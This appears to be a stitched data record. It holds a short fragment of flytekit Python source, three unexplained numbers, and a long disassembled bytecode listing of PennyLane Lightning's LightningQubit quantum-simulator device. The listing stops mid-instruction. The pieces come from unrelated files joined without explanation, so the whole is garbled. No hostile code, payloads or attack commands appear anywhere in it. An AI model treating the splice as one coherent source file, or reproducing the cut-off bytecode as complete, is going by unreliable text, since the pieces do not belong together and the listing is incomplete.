_inputs_not_allowed=set(fixed_input_lits.keys()), _ignorable_inputs=set(default_input_params.keys()), **kwargs, ) # noqa def __repr__(self) -> str: return f"FlyteLaunchPlan(ID: {self.id} Interface: {self.interface}) - Spec {super().__repr__()})"
data/flytekit-1.10.7/flytekit/remote/entities.py
15,683
9,007
52,477
LOAD_CONST '\nThis module contains the :class:`~.LightningQubit` class, a PennyLane simulator device that\ninterfaces with C++ for fast linear algebra calculations.\n' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST ('warn',) IMPORT_NAME warnings IMPORT_FROM warn STORE_NAME warn POP_TOP LOAD_CONST 0 LOAD_CONST ('Path',) IMPORT_NAME pathlib IMPORT_FROM Path STORE_NAME Path POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME numpy STORE_NAME np LOAD_CONST 0 LOAD_CONST ('LightningBase', 'LightningBaseFallBack', '_chunk_iterable') IMPORT_NAME pennylane_lightning.core.lightning_base IMPORT_FROM LightningBase STORE_NAME LightningBase IMPORT_FROM LightningBaseFallBack STORE_NAME LightningBaseFallBack IMPORT_FROM _chunk_iterable STORE_NAME _chunk_iterable POP_TOP SETUP_EXCEPT to 106 LOAD_CONST 0 LOAD_CONST ('allocate_aligned_array', 'get_alignment', 'best_alignment', 'MeasurementsC64', 'StateVectorC64', 'MeasurementsC128', 'StateVectorC128', 'backend_info') IMPORT_NAME pennylane_lightning.lightning_qubit_ops IMPORT_FROM allocate_aligned_array STORE_NAME allocate_aligned_array IMPORT_FROM get_alignment STORE_NAME get_alignment IMPORT_FROM best_alignment STORE_NAME best_alignment IMPORT_FROM MeasurementsC64 STORE_NAME MeasurementsC64 IMPORT_FROM StateVectorC64 STORE_NAME StateVectorC64 IMPORT_FROM MeasurementsC128 STORE_NAME MeasurementsC128 IMPORT_FROM StateVectorC128 STORE_NAME StateVectorC128 IMPORT_FROM backend_info STORE_NAME backend_info POP_TOP LOAD_CONST True STORE_NAME LQ_CPP_BINARY_AVAILABLE POP_BLOCK JUMP_FORWARD to 130 DUP_TOP LOAD_NAME ImportError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST False STORE_NAME LQ_CPP_BINARY_AVAILABLE POP_EXCEPT JUMP_FORWARD to 130 END_FINALLY LOAD_NAME LQ_CPP_BINARY_AVAILABLE EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST ('List',) IMPORT_NAME typing IMPORT_FROM List STORE_NAME List POP_TOP LOAD_CONST 0 LOAD_CONST ('getenv',) IMPORT_NAME os IMPORT_FROM getenv STORE_NAME getenv POP_TOP LOAD_CONST 0 LOAD_CONST ('math', 'BasisState', 'StatePrep', 'Projector', 'Rot', 'DeviceError', 'QuantumFunctionError') IMPORT_NAME pennylane IMPORT_FROM math STORE_NAME math IMPORT_FROM BasisState STORE_NAME BasisState IMPORT_FROM StatePrep STORE_NAME StatePrep IMPORT_FROM Projector STORE_NAME Projector IMPORT_FROM Rot STORE_NAME Rot IMPORT_FROM DeviceError STORE_NAME DeviceError IMPORT_FROM QuantumFunctionError STORE_NAME QuantumFunctionError POP_TOP LOAD_CONST 0 LOAD_CONST ('Tensor',) IMPORT_NAME pennylane.operation IMPORT_FROM Tensor STORE_NAME Tensor POP_TOP LOAD_CONST 0 LOAD_CONST ('MeasurementProcess', 'Expectation', 'State') IMPORT_NAME pennylane.measurements IMPORT_FROM MeasurementProcess STORE_NAME MeasurementProcess IMPORT_FROM Expectation STORE_NAME Expectation IMPORT_FROM State STORE_NAME State POP_TOP LOAD_CONST 0 LOAD_CONST ('Wires',) IMPORT_NAME pennylane.wires IMPORT_FROM Wires STORE_NAME Wires POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pennylane STORE_NAME qml LOAD_CONST 0 LOAD_CONST ('QuantumScriptSerializer',) IMPORT_NAME pennylane_lightning.core._serialize IMPORT_FROM QuantumScriptSerializer STORE_NAME QuantumScriptSerializer POP_TOP LOAD_CONST 0 LOAD_CONST ('__version__',) IMPORT_NAME pennylane_lightning.core._version IMPORT_FROM __version__ STORE_NAME __version__ POP_TOP LOAD_CONST 0 LOAD_CONST ('AdjointJacobianC64', 'create_ops_listC64', 'VectorJacobianProductC64', 'AdjointJacobianC128', 'create_ops_listC128', 'VectorJacobianProductC128') IMPORT_NAME pennylane_lightning.lightning_qubit_ops.algorithms IMPORT_FROM AdjointJacobianC64 STORE_NAME AdjointJacobianC64 IMPORT_FROM create_ops_listC64 STORE_NAME create_ops_listC64 IMPORT_FROM VectorJacobianProductC64 STORE_NAME VectorJacobianProductC64 IMPORT_FROM AdjointJacobianC128 STORE_NAME AdjointJacobianC128 IMPORT_FROM create_ops_listC128 STORE_NAME create_ops_listC128 IMPORT_FROM VectorJacobianProductC128 STORE_NAME VectorJacobianProductC128 POP_TOP LOAD_CONST 'Identity' LOAD_CONST 'BasisState' LOAD_CONST 'QubitStateVector' LOAD_CONST 'StatePrep' LOAD_CONST 'QubitUnitary' LOAD_CONST 'ControlledQubitUnitary' LOAD_CONST 'MultiControlledX' LOAD_CONST 'DiagonalQubitUnitary' LOAD_CONST 'PauliX' LOAD_CONST 'PauliY' LOAD_CONST 'PauliZ' LOAD_CONST 'MultiRZ' LOAD_CONST 'Hadamard' LOAD_CONST 'S' LOAD_CONST 'Adjoint(S)' LOAD_CONST 'T' LOAD_CONST 'Adjoint(T)' LOAD_CONST 'SX' LOAD_CONST 'Adjoint(SX)' LOAD_CONST 'CNOT' LOAD_CONST 'SWAP' LOAD_CONST 'ISWAP' LOAD_CONST 'PSWAP' LOAD_CONST 'Adjoint(ISWAP)' LOAD_CONST 'SISWAP' LOAD_CONST 'Adjoint(SISWAP)' LOAD_CONST 'SQISW' LOAD_CONST 'CSWAP' LOAD_CONST 'Toffoli' LOAD_CONST 'CY' LOAD_CONST 'CZ' LOAD_CONST 'PhaseShift' LOAD_CONST 'ControlledPhaseShift' LOAD_CONST 'CPhase' LOAD_CONST 'RX' LOAD_CONST 'RY' LOAD_CONST 'RZ' LOAD_CONST 'Rot' LOAD_CONST 'CRX' LOAD_CONST 'CRY' LOAD_CONST 'CRZ' LOAD_CONST 'C(PauliX)' LOAD_CONST 'C(PauliY)' LOAD_CONST 'C(PauliZ)' LOAD_CONST 'C(Hadamard)' LOAD_CONST 'C(S)' LOAD_CONST 'C(T)' LOAD_CONST 'C(PhaseShift)' LOAD_CONST 'C(RX)' LOAD_CONST 'C(RY)' LOAD_CONST 'C(RZ)' LOAD_CONST 'C(SWAP)' LOAD_CONST 'C(IsingXX)' LOAD_CONST 'C(IsingXY)' LOAD_CONST 'C(IsingYY)' LOAD_CONST 'C(IsingZZ)' LOAD_CONST 'C(SingleExcitation)' LOAD_CONST 'C(SingleExcitationMinus)' LOAD_CONST 'C(SingleExcitationPlus)' LOAD_CONST 'C(DoubleExcitation)' LOAD_CONST 'C(DoubleExcitationMinus)' LOAD_CONST 'C(DoubleExcitationPlus)' LOAD_CONST 'CRot' LOAD_CONST 'IsingXX' LOAD_CONST 'IsingYY' LOAD_CONST 'IsingZZ' LOAD_CONST 'IsingXY' LOAD_CONST 'SingleExcitation' LOAD_CONST 'SingleExcitationPlus' LOAD_CONST 'SingleExcitationMinus' LOAD_CONST 'DoubleExcitation' LOAD_CONST 'DoubleExcitationPlus' LOAD_CONST 'DoubleExcitationMinus' LOAD_CONST 'QubitCarry' LOAD_CONST 'QubitSum' LOAD_CONST 'OrbitalRotation' LOAD_CONST 'QFT' LOAD_CONST 'ECR' BUILD_SET STORE_NAME allowed_operations LOAD_CONST 'PauliX' LOAD_CONST 'PauliY' LOAD_CONST 'PauliZ' LOAD_CONST 'Hadamard' LOAD_CONST 'Hermitian' LOAD_CONST 'Identity' LOAD_CONST 'Projector' LOAD_CONST 'SparseHamiltonian' LOAD_CONST 'Hamiltonian' LOAD_CONST 'Sum' LOAD_CONST 'SProd' LOAD_CONST 'Prod' LOAD_CONST 'Exp' BUILD_SET STORE_NAME allowed_observables LOAD_BUILD_CLASS LOAD_CONST <code object LightningQubit at 0x7fab822e2b70, file "f.py", line 159> LOAD_CONST 'LightningQubit' MAKE_FUNCTION LOAD_CONST 'LightningQubit' LOAD_NAME LightningBase CALL_FUNCTION STORE_NAME LightningQubit JUMP_FORWARD to 528 LOAD_BUILD_CLASS LOAD_CONST <code object LightningQubit at 0x7fab822e2ed0, file "f.py", line 906> LOAD_CONST 'LightningQubit' MAKE_FUNCTION LOAD_CONST 'LightningQubit' LOAD_NAME LightningBaseFallBack CALL_FUNCTION STORE_NAME LightningQubit LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'LightningQubit' STORE_NAME __qualname__ LOAD_CONST 'PennyLane Lightning Qubit device.\n\n A device that interfaces with C++ to perform fast linear algebra calculations.\n\n Use of this device requires pre-built binaries or compilation from source. Check out the\n :doc:`/lightning_qubit/installation` guide for more details.\n\n Args:\n wires (int): the number of wires to initialize the device with\n c_dtype: Datatypes for statevector representation. Must be one of\n ``np.complex64`` or ``np.complex128``.\n shots (int): How many times the circuit should be evaluated (or sampled) to estimate\n the expectation values. Defaults to ``None`` if not specified. Setting\n to ``None`` results in computing statistics like expectation values and\n variances analytically.\n mcmc (bool): Determine whether to use the approximate Markov Chain Monte Carlo\n sampling method when generating samples.\n kernel_name (str): name of transition kernel. The current version supports\n two kernels: ``"Local"`` and ``"NonZeroRandom"``.\n The local kernel conducts a bit-flip local transition between states.\n The local kernel generates a random qubit site and then generates a random\n number to determine the new bit at that qubit site. The ``"NonZeroRandom"`` kernel\n randomly transits between states that have nonzero probability.\n num_burnin (int): number of steps that will be dropped. Increasing this value will\n result in a closer approximation but increased runtime.\n batch_obs (bool): Determine whether we process observables in parallel when\n computing the jacobian. This value is only relevant when the lightning\n qubit is built with OpenMP.\n ' STORE_NAME __doc__ LOAD_CONST 'Lightning Qubit PennyLane plugin' STORE_NAME name LOAD_CONST 'lightning.qubit' STORE_NAME short_name LOAD_NAME allowed_operations STORE_NAME operations LOAD_NAME allowed_observables STORE_NAME observables LOAD_NAME backend_info STORE_NAME _backend_info LOAD_NAME Path LOAD_NAME __file__ CALL_FUNCTION LOAD_ATTR parent LOAD_CONST 'lightning_qubit.toml' BINARY_TRUE_DIVIDE STORE_NAME config LOAD_NAME np LOAD_ATTR complex128 LOAD_CONST None LOAD_CONST False LOAD_CONST 'Local' LOAD_CONST 100 LOAD_CONST False LOAD_CONST ('c_dtype', 'shots', 'mcmc', 'kernel_name', 'num_burnin', 'batch_obs') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab641dbed0, file "f.py", line 197> LOAD_CONST 'LightningQubit.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME staticmethod LOAD_CONST (None,) LOAD_CONST <code object _asarray at 0x7fab641db8a0, file "f.py", line 230> LOAD_CONST 'LightningQubit._asarray' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _asarray LOAD_CONST <code object _create_basis_state at 0x7fab641db270, file "f.py", line 251> LOAD_CONST 'LightningQubit._create_basis_state' MAKE_FUNCTION STORE_NAME _create_basis_state LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object reset at 0x7fab641db930, file "f.py", line 266> LOAD_CONST 'LightningQubit.reset' MAKE_FUNCTION STORE_NAME reset LOAD_NAME property LOAD_CONST <code object create_ops_list at 0x7fab641dbd20, file "f.py", line 274> LOAD_CONST 'LightningQubit.create_ops_list' MAKE_FUNCTION CALL_FUNCTION STORE_NAME create_ops_list LOAD_NAME property LOAD_CONST <code object measurements at 0x7fab641dbae0, file "f.py", line 279> LOAD_CONST 'LightningQubit.measurements' MAKE_FUNCTION CALL_FUNCTION STORE_NAME measurements LOAD_NAME property LOAD_CONST <code object state at 0x7fab641dbdb0, file "f.py", line 292> LOAD_CONST 'LightningQubit.state' MAKE_FUNCTION CALL_FUNCTION STORE_NAME state LOAD_NAME property LOAD_CONST <code object state_vector at 0x7fab641db660, file "f.py", line 298> LOAD_CONST 'LightningQubit.state_vector' MAKE_FUNCTION CALL_FUNCTION STORE_NAME state_vector LOAD_CONST <code object _apply_state_vector at 0x7fab641db300, file "f.py", line 304> LOAD_CONST 'LightningQubit._apply_state_vector' MAKE_FUNCTION STORE_NAME _apply_state_vector LOAD_CONST <code object _apply_basis_state at 0x7fab641dbe40, file "f.py", line 327> LOAD_CONST 'LightningQubit._apply_basis_state' MAKE_FUNCTION STORE_NAME _apply_basis_state LOAD_CONST <code object _apply_lightning_controlled at 0x7fab41b730c0, file "f.py", line 341> LOAD_CONST 'LightningQubit._apply_lightning_controlled' MAKE_FUNCTION STORE_NAME _apply_lightning_controlled LOAD_CONST <code object apply_lightning at 0x7fab41b73930, file "f.py", line 395> LOAD_CONST 'LightningQubit.apply_lightning' MAKE_FUNCTION STORE_NAME apply_lightning LOAD_CONST (None,) LOAD_CONST <code object apply at 0x7fab41b731e0, file "f.py", line 437> LOAD_CONST 'LightningQubit.apply' MAKE_FUNCTION STORE_NAME apply LOAD_CONST (None, None) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object expval at 0x7fab41b738a0, file "f.py", line 470> LOAD_CONST 'LightningQubit.expval' MAKE_FUNCTION STORE_NAME expval LOAD_CONST (None, None) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object var at 0x7fab41b73ed0, file "f.py", line 532> LOAD_CONST 'LightningQubit.var' MAKE_FUNCTION STORE_NAME var LOAD_CONST <code object generate_samples at 0x7fab41b73150, file "f.py", line 593> LOAD_CONST 'LightningQubit.generate_samples' MAKE_FUNCTION STORE_NAME generate_samples LOAD_CONST <code object probability_lightning at 0x7fab41b73e40, file "f.py", line 618> LOAD_CONST 'LightningQubit.probability_lightning' MAKE_FUNCTION STORE_NAME probability_lightning LOAD_NAME staticmethod LOAD_NAME List LOAD_NAME MeasurementProcess BINARY_SUBSCR LOAD_CONST ('measurements',) BUILD_CONST_KEY_MAP LOAD_CONST <code object _check_adjdiff_supported_measurements at 0x7fab822e2780, file "f.py", line 635> LOAD_CONST 'LightningQubit._check_adjdiff_supported_measurements' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _check_adjdiff_supported_measurements LOAD_NAME staticmethod LOAD_CONST <code object _check_adjdiff_supported_operations at 0x7fab822e2810, file "f.py", line 678> LOAD_CONST 'LightningQubit._check_adjdiff_supported_operations' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _check_adjdiff_supported_operations LOAD_CONST <code object _init_process_jacobian_tape at 0x7fab822e28a0, file "f.py", line 695> LOAD_CONST 'LightningQubit._init_process_jacobian_tape' MAKE_FUNCTION STORE_NAME _init_process_jacobian_tape LOAD_CONST (None, False) LOAD_CONST <code object adjoint_jacobian at 0x7fab822e2540, file "f.py", line 712> LOAD_CONST 'LightningQubit.adjoint_jacobian' MAKE_FUNCTION STORE_NAME adjoint_jacobian LOAD_CONST (None, False) LOAD_CONST <code object vjp at 0x7fab822e2030, file "f.py", line 784> LOAD_CONST 'LightningQubit.vjp' MAKE_FUNCTION STORE_NAME vjp LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ LOAD_FAST wires LOAD_FAST shots LOAD_FAST c_dtype LOAD_CONST ('shots', 'c_dtype') CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_METHOD _create_basis_state LOAD_CONST 0 CALL_METHOD LOAD_FAST self STORE_ATTR _state LOAD_FAST self LOAD_ATTR _state LOAD_FAST self STORE_ATTR _pre_rotated_state LOAD_FAST c_dtype LOAD_FAST self STORE_ATTR _c_dtype LOAD_FAST batch_obs LOAD_FAST self STORE_ATTR _batch_obs LOAD_FAST mcmc LOAD_FAST self STORE_ATTR _mcmc LOAD_FAST self LOAD_ATTR _mcmc POP_JUMP_IF_FALSE LOAD_FAST kernel_name LOAD_CONST ('Local', 'NonZeroRandom') COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL NotImplementedError LOAD_CONST 'The ' LOAD_FAST kernel_name FORMAT_VALUE LOAD_CONST " is not supported and currently only 'Local' and 'NonZeroRandom' kernels are supported." BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST num_burnin LOAD_FAST shots COMPARE_OP >= POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Shots should be greater than num_burnin.' CALL_FUNCTION RAISE_VARARGS LOAD_FAST kernel_name LOAD_FAST self STORE_ATTR _kernel_name LOAD_FAST num_burnin LOAD_FAST self STORE_ATTR _num_burnin LOAD_CONST None RETURN_VALUE LOAD_GLOBAL np LOAD_METHOD asarray LOAD_FAST arr CALL_METHOD STORE_FAST arr LOAD_FAST arr LOAD_ATTR dtype LOAD_ATTR kind LOAD_CONST ('f', 'c') COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST arr RETURN_VALUE LOAD_FAST dtype POP_JUMP_IF_TRUE LOAD_FAST arr LOAD_ATTR dtype STORE_FAST dtype LOAD_GLOBAL int LOAD_GLOBAL get_alignment LOAD_FAST arr CALL_FUNCTION CALL_FUNCTION LOAD_GLOBAL int LOAD_GLOBAL best_alignment CALL_FUNCTION CALL_FUNCTION COMPARE_OP < POP_JUMP_IF_TRUE LOAD_FAST arr LOAD_ATTR dtype LOAD_FAST dtype COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL allocate_aligned_array LOAD_FAST arr LOAD_ATTR size LOAD_GLOBAL np LOAD_METHOD dtype LOAD_FAST dtype CALL_METHOD LOAD_CONST False CALL_FUNCTION LOAD_METHOD reshape LOAD_FAST arr LOAD_ATTR shape CALL_METHOD STORE_FAST new_arr LOAD_GLOBAL len LOAD_FAST arr LOAD_ATTR shape CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST arr LOAD_FAST new_arr LOAD_CONST None LOAD_CONST None BUILD_SLICE STORE_SUBSCR JUMP_FORWARD to 132 LOAD_GLOBAL np LOAD_METHOD copyto LOAD_FAST new_arr LOAD_FAST arr CALL_METHOD POP_TOP LOAD_FAST new_arr STORE_FAST arr LOAD_FAST arr RETURN_VALUE LOAD_GLOBAL allocate_aligned_array LOAD_CONST 2 LOAD_FAST self LOAD_ATTR num_wires BINARY_POWER LOAD_GLOBAL np LOAD_METHOD dtype LOAD_FAST self LOAD_ATTR C_DTYPE CALL_METHOD LOAD_CONST True CALL_FUNCTION STORE_FAST state LOAD_CONST 1 LOAD_FAST state LOAD_FAST index STORE_SUBSCR LOAD_FAST self LOAD_METHOD _reshape LOAD_FAST state LOAD_CONST 2 BUILD_LIST LOAD_FAST self LOAD_ATTR num_wires BINARY_MULTIPLY CALL_METHOD RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD reset CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR state LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST (1+0j) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_FAST self LOAD_METHOD _create_basis_state LOAD_CONST 0 CALL_METHOD LOAD_FAST self STORE_ATTR _state LOAD_FAST self LOAD_ATTR _state LOAD_FAST self STORE_ATTR _pre_rotated_state LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR use_csingle POP_JUMP_IF_FALSE LOAD_GLOBAL create_ops_listC64 RETURN_VALUE LOAD_GLOBAL create_ops_listC128 RETURN_VALUE LOAD_GLOBAL np LOAD_METHOD ravel LOAD_FAST self LOAD_ATTR _state CALL_METHOD STORE_FAST ket LOAD_FAST self LOAD_ATTR use_csingle POP_JUMP_IF_FALSE LOAD_GLOBAL StateVectorC64 LOAD_FAST ket CALL_FUNCTION JUMP_FORWARD to 32 LOAD_GLOBAL StateVectorC128 LOAD_FAST ket CALL_FUNCTION STORE_FAST state_vector LOAD_FAST self LOAD_ATTR use_csingle POP_JUMP_IF_FALSE LOAD_GLOBAL MeasurementsC64 LOAD_FAST state_vector CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL MeasurementsC128 LOAD_FAST state_vector CALL_FUNCTION RETURN_VALUE LOAD_CONST 1 LOAD_FAST self LOAD_ATTR num_wires BINARY_LSHIFT BUILD_TUPLE STORE_FAST shape LOAD_FAST self LOAD_METHOD _reshape LOAD_FAST self LOAD_ATTR _pre_rotated_state LOAD_FAST shape CALL_METHOD RETURN_VALUE LOAD_GLOBAL np LOAD_METHOD ravel LOAD_FAST self LOAD_ATTR _state CALL_METHOD STORE_FAST ket LOAD_FAST self LOAD_ATTR use_csingle POP_JUMP_IF_FALSE LOAD_GLOBAL StateVectorC64 LOAD_FAST ket CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL StateVectorC128 LOAD_FAST ket CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_METHOD _preprocess_state_vector LOAD_FAST state LOAD_FAST device_wires CALL_METHOD UNPACK_SEQUENCE STORE_FAST ravelled_indices STORE_FAST state LOAD_FAST self LOAD_METHOD map_wires LOAD_FAST device_wires CALL_METHOD STORE_FAST device_wires LOAD_CONST 2 BUILD_LIST LOAD_FAST self LOAD_ATTR num_wires BINARY_MULTIPLY STORE_FAST output_shape LOAD_GLOBAL len LOAD_FAST device_wires CALL_FUNCTION LOAD_FAST self LOAD_ATTR num_wires COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL Wires LOAD_GLOBAL sorted LOAD_FAST device_wires CALL_FUNCTION CALL_FUNCTION LOAD_FAST device_wires COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _reshape LOAD_FAST state LOAD_FAST output_shape CALL_METHOD LOAD_FAST self STORE_ATTR _state LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _scatter LOAD_FAST ravelled_indices LOAD_FAST state LOAD_CONST 2 LOAD_FAST self LOAD_ATTR num_wires BINARY_POWER BUILD_LIST CALL_METHOD STORE_FAST state LOAD_FAST self LOAD_METHOD _reshape LOAD_FAST state LOAD_FAST output_shape CALL_METHOD STORE_FAST state LOAD_FAST self LOAD_ATTR _asarray LOAD_FAST state LOAD_FAST self LOAD_ATTR C_DTYPE LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_FAST self STORE_ATTR _state LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_basis_state_index LOAD_FAST state LOAD_FAST wires CALL_METHOD STORE_FAST num LOAD_FAST self LOAD_METHOD _create_basis_state LOAD_FAST num CALL_METHOD LOAD_FAST self STORE_ATTR _state LOAD_CONST None RETURN_VALUE LOAD_FAST operation LOAD_ATTR name LOAD_CONST 'MultiControlledX' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'PauliX' JUMP_FORWARD to 20 LOAD_FAST operation LOAD_ATTR base LOAD_ATTR name STORE_FAST basename LOAD_FAST basename LOAD_CONST 'Identity' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL getattr LOAD_FAST sim LOAD_FAST basename FORMAT_VALUE LOAD_CONST None CALL_FUNCTION STORE_FAST method LOAD_FAST self LOAD_ATTR wires LOAD_METHOD indices LOAD_FAST operation LOAD_ATTR control_wires CALL_METHOD STORE_FAST control_wires LOAD_FAST operation LOAD_ATTR name LOAD_CONST 'MultiControlledX' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST <code object <listcomp> at 0x7fab70306930, file "f.py", line 361> LOAD_CONST 'LightningQubit._apply_lightning_controlled.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST operation LOAD_ATTR hyperparameters LOAD_CONST 'control_values' BINARY_SUBSCR GET_ITER CALL_FUNCTION JUMP_FORWARD to 96 LOAD_FAST operation LOAD_ATTR control_values STORE_FAST control_values LOAD_FAST operation LOAD_ATTR name LOAD_CONST 'MultiControlledX' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL list LOAD_GLOBAL set LOAD_FAST self LOAD_ATTR wires LOAD_METHOD indices LOAD_FAST operation LOAD_ATTR wires CALL_METHOD CALL_FUNCTION LOAD_GLOBAL set LOAD_FAST control_wires CALL_FUNCTION BINARY_SUBTRACT CALL_FUNCTION STORE_FAST target_wires JUMP_FORWARD to 154 LOAD_FAST self LOAD_ATTR wires LOAD_METHOD indices LOAD_FAST operation LOAD_ATTR target_wires CALL_METHOD STORE_FAST target_wires LOAD_FAST method LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_CONST False STORE_FAST inv LOAD_FAST operation LOAD_ATTR parameters STORE_FAST param LOAD_FAST method LOAD_FAST control_wires LOAD_FAST control_values LOAD_FAST target_wires LOAD_FAST inv LOAD_FAST param CALL_FUNCTION POP_TOP JUMP_FORWARD to 286 LOAD_GLOBAL getattr LOAD_FAST sim LOAD_CONST 'applyControlledMatrix' CALL_FUNCTION STORE_FAST method LOAD_FAST self LOAD_ATTR wires LOAD_METHOD indices LOAD_FAST operation LOAD_ATTR target_wires CALL_METHOD STORE_FAST target_wires SETUP_EXCEPT to 244 LOAD_FAST method LOAD_GLOBAL qml LOAD_METHOD matrix LOAD_FAST operation LOAD_ATTR base CALL_METHOD LOAD_FAST control_wires LOAD_FAST control_values LOAD_FAST target_wires LOAD_CONST False CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 286 DUP_TOP LOAD_GLOBAL AttributeError COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST method LOAD_FAST operation LOAD_ATTR base LOAD_ATTR matrix LOAD_FAST control_wires LOAD_FAST control_values LOAD_FAST target_wires LOAD_CONST False CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 286 END_FINALLY LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST i LOAD_GLOBAL bool LOAD_GLOBAL int LOAD_FAST i CALL_FUNCTION CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL np LOAD_METHOD ravel LOAD_FAST state CALL_METHOD STORE_FAST state_vector LOAD_FAST self LOAD_ATTR use_csingle POP_JUMP_IF_FALSE LOAD_GLOBAL StateVectorC64 LOAD_FAST state_vector CALL_FUNCTION JUMP_FORWARD to 30 LOAD_GLOBAL StateVectorC128 LOAD_FAST state_vector CALL_FUNCTION STORE_FAST sim SETUP_LOOP to 238 LOAD_FAST operations GET_ITER FOR_ITER to 236 STORE_FAST operation LOAD_FAST operation LOAD_ATTR name LOAD_CONST 'Identity' COMPARE_OP == POP_JUMP_IF_FALSE JUMP_ABSOLUTE LOAD_GLOBAL getattr LOAD_FAST sim LOAD_FAST operation LOAD_ATTR name LOAD_CONST None CALL_FUNCTION STORE_FAST method LOAD_FAST self LOAD_ATTR wires LOAD_METHOD indices LOAD_FAST operation LOAD_ATTR wires CALL_METHOD STORE_FAST wires LOAD_FAST method LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_CONST False STORE_FAST inv LOAD_FAST operation LOAD_ATTR parameters STORE_FAST param LOAD_FAST method LOAD_FAST wires LOAD_FAST inv LOAD_FAST param CALL_FUNCTION POP_TOP JUMP_ABSOLUTE LOAD_FAST operation LOAD_ATTR name LOAD_CONST 0 LOAD_CONST 2 BUILD_SLICE BINARY_SUBSCR LOAD_CONST 'C(' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_FAST operation LOAD_ATTR name LOAD_CONST 'ControlledQubitUnitary' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_FAST operation LOAD_ATTR name LOAD_CONST 'MultiControlledX' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _apply_lightning_controlled LOAD_FAST sim LOAD_FAST operation CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_GLOBAL getattr LOAD_FAST sim LOAD_CONST 'applyMatrix' CALL_FUNCTION STORE_FAST method SETUP_EXCEPT to 200 LOAD_FAST method LOAD_GLOBAL qml LOAD_METHOD matrix LOAD_FAST operation CALL_METHOD LOAD_FAST wires LOAD_CONST False CALL_FUNCTION POP_TOP POP_BLOCK JUMP_ABSOLUTE DUP_TOP LOAD_GLOBAL AttributeError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST method LOAD_FAST operation LOAD_ATTR matrix LOAD_FAST wires LOAD_CONST False CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_ABSOLUTE END_FINALLY JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL np LOAD_METHOD reshape LOAD_FAST state_vector LOAD_FAST state LOAD_ATTR shape CALL_METHOD RETURN_VALUE LOAD_FAST operations POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST operations LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL StatePrep CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _apply_state_vector LOAD_FAST operations LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR parameters LOAD_CONST 0 BINARY_SUBSCR LOAD_METHOD copy CALL_METHOD LOAD_FAST operations LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR wires CALL_METHOD POP_TOP LOAD_FAST operations LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST operations JUMP_FORWARD to 118 LOAD_GLOBAL isinstance LOAD_FAST operations LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL BasisState CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _apply_basis_state LOAD_FAST 